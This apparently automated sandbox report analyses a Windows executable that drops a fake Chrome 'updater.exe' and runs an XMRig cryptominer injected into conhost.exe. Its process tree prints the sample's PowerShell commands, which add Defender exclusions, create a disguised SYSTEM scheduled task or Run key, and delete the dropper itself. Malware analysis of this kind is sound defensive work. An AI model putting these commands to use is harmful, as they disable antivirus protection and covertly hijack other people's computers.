Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
341s -
max time network
1788s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exeupdater.execonhost.exedescription pid process target process PID 1072 created 1260 1072 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 1072 created 1260 1072 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 1072 created 1260 1072 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 1072 created 1260 1072 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2904 created 1260 2904 updater.exe Explorer.EXE PID 2904 created 1260 2904 updater.exe Explorer.EXE PID 2904 created 1260 2904 updater.exe Explorer.EXE PID 2904 created 1260 2904 updater.exe Explorer.EXE PID 2572 created 1260 2572 conhost.exe Explorer.EXE PID 2904 created 1260 2904 updater.exe Explorer.EXE -
XMRig Miner payload 24 IoCs
Processes:
resource yara_rule behavioral25/memory/2100-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2616 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2904 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2928 taskeng.exe -
Processes:
resource yara_rule behavioral25/memory/2100-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2904 set thread context of 2572 2904 updater.exe conhost.exe PID 2904 set thread context of 2100 2904 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.exeUU4Ddwqm5zcuLzGR.exeupdater.execmd.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe UU4Ddwqm5zcuLzGR.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2640 schtasks.exe 676 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 006b0e263f4fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1072 UU4Ddwqm5zcuLzGR.exe 1072 UU4Ddwqm5zcuLzGR.exe 2392 powershell.exe 1072 UU4Ddwqm5zcuLzGR.exe 1072 UU4Ddwqm5zcuLzGR.exe 2280 powershell.exe 1072 UU4Ddwqm5zcuLzGR.exe 1072 UU4Ddwqm5zcuLzGR.exe 1072 UU4Ddwqm5zcuLzGR.exe 1072 UU4Ddwqm5zcuLzGR.exe 2600 powershell.exe 2904 updater.exe 2904 updater.exe 2040 powershell.exe 2904 updater.exe 2904 updater.exe 1664 powershell.exe 2904 updater.exe 2904 updater.exe 2904 updater.exe 2904 updater.exe 2572 conhost.exe 2572 conhost.exe 2904 updater.exe 2904 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2392 powershell.exe Token: SeDebugPrivilege 2280 powershell.exe Token: SeDebugPrivilege 2600 powershell.exe Token: SeDebugPrivilege 2040 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 2904 updater.exe Token: SeAssignPrimaryTokenPrivilege 1516 WMIC.exe Token: SeIncreaseQuotaPrivilege 1516 WMIC.exe Token: SeSecurityPrivilege 1516 WMIC.exe Token: SeTakeOwnershipPrivilege 1516 WMIC.exe Token: SeLoadDriverPrivilege 1516 WMIC.exe Token: SeSystemtimePrivilege 1516 WMIC.exe Token: SeBackupPrivilege 1516 WMIC.exe Token: SeRestorePrivilege 1516 WMIC.exe Token: SeShutdownPrivilege 1516 WMIC.exe Token: SeSystemEnvironmentPrivilege 1516 WMIC.exe Token: SeUndockPrivilege 1516 WMIC.exe Token: SeManageVolumePrivilege 1516 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1516 WMIC.exe Token: SeIncreaseQuotaPrivilege 1516 WMIC.exe Token: SeSecurityPrivilege 1516 WMIC.exe Token: SeTakeOwnershipPrivilege 1516 WMIC.exe Token: SeLoadDriverPrivilege 1516 WMIC.exe Token: SeSystemtimePrivilege 1516 WMIC.exe Token: SeBackupPrivilege 1516 WMIC.exe Token: SeRestorePrivilege 1516 WMIC.exe Token: SeShutdownPrivilege 1516 WMIC.exe Token: SeSystemEnvironmentPrivilege 1516 WMIC.exe Token: SeUndockPrivilege 1516 WMIC.exe Token: SeManageVolumePrivilege 1516 WMIC.exe Token: SeLockMemoryPrivilege 2100 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2280 wrote to memory of 2640 2280 powershell.exe schtasks.exe PID 2280 wrote to memory of 2640 2280 powershell.exe schtasks.exe PID 2280 wrote to memory of 2640 2280 powershell.exe schtasks.exe PID 2616 wrote to memory of 1240 2616 cmd.exe choice.exe PID 2616 wrote to memory of 1240 2616 cmd.exe choice.exe PID 2616 wrote to memory of 1240 2616 cmd.exe choice.exe PID 2600 wrote to memory of 2760 2600 powershell.exe schtasks.exe PID 2600 wrote to memory of 2760 2600 powershell.exe schtasks.exe PID 2600 wrote to memory of 2760 2600 powershell.exe schtasks.exe PID 2928 wrote to memory of 2904 2928 taskeng.exe updater.exe PID 2928 wrote to memory of 2904 2928 taskeng.exe updater.exe PID 2928 wrote to memory of 2904 2928 taskeng.exe updater.exe PID 1664 wrote to memory of 676 1664 powershell.exe schtasks.exe PID 1664 wrote to memory of 676 1664 powershell.exe schtasks.exe PID 1664 wrote to memory of 676 1664 powershell.exe schtasks.exe PID 2904 wrote to memory of 2572 2904 updater.exe conhost.exe PID 1180 wrote to memory of 1516 1180 cmd.exe WMIC.exe PID 1180 wrote to memory of 1516 1180 cmd.exe WMIC.exe PID 1180 wrote to memory of 1516 1180 cmd.exe WMIC.exe PID 2904 wrote to memory of 2100 2904 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1260
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2640 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2760
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:676 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1516 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2868 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2572 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1240
-
C:\Windows\system32\taskeng.exetaskeng.exe {7DE55AE3-9FE6-4D74-8204-2BA9E605BE85} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
222KB
MD5f8fe7cbfec567d13cc9ed857fab5a041
SHA11a3cc2c58dceaa99d90cad6e51e18acf313092ac
SHA256394cc9ffa7cbe0343acda056dbbd8789625c179b0e7ae725b4c3565c0a9dfdc3
SHA5128e9eebff00c0df1fce25cca862fc9860d3ba38bed13313ed5bfbaeb2edd51ae1cfac0ccaed853a5099370a4b575ddf6ceaad6154c64aa0b462e79a973b8dc9a2
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C:\Program Files\Google\Chrome\updater.exeFilesize
116KB
MD5e68b11be3ea6c1c61d696748af490cf4
SHA12fae0eaca251c85c4d103e58283894272ad51dfb
SHA2560aea76b638bd0b409dca3af8b6451eeea918c71ad03f4b5a4e80656cbe29daab
SHA512390fa33e4d07c20bb73b3f21f1c6ced1f57bb9b639e9cef7cd5cb653ff3f6367ee2e89b9e21fa5fc32027ff912a10b54ea452d2b7d86782f46f9efdc2abff066
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5ebca519ce6a15d3ba9ed182762276ae7
SHA11a66063b69731c430f2083570e0a49ba26dcf39f
SHA256645ae55e5528dc66b910b0f5cfaaa3b46f74cac5f73cea51b0138480d636f7cd
SHA512f4be3072697561e757d371b2b291e3e54cf7297e132d2ecd93ee35738cef23a6710e1b530bf4448ae63a1ce5a28ef2150b416224552032779668f72f1cbee8c1
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
317KB
MD56d6130bd5adc633b0424b56b3f2797ad
SHA17e5e9911107df2bcc9ed87026ed0a8f838a1e88a
SHA256bc8a5e4b76075e5b66254061279ceeb20195f287b901f247181148c2cbfffb20
SHA512dbbe094f9ee8c01ae743e7a732134a1028558a258b0abd75b9ec451c8be052a6773c19d3d099c12e483d3e7626411a9d1e1b6f3d6e94150a65658a61e3dfb62d
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memory/1072-0-0x000000013F700000-0x000000013F911000-memory.dmpFilesize
2.1MB
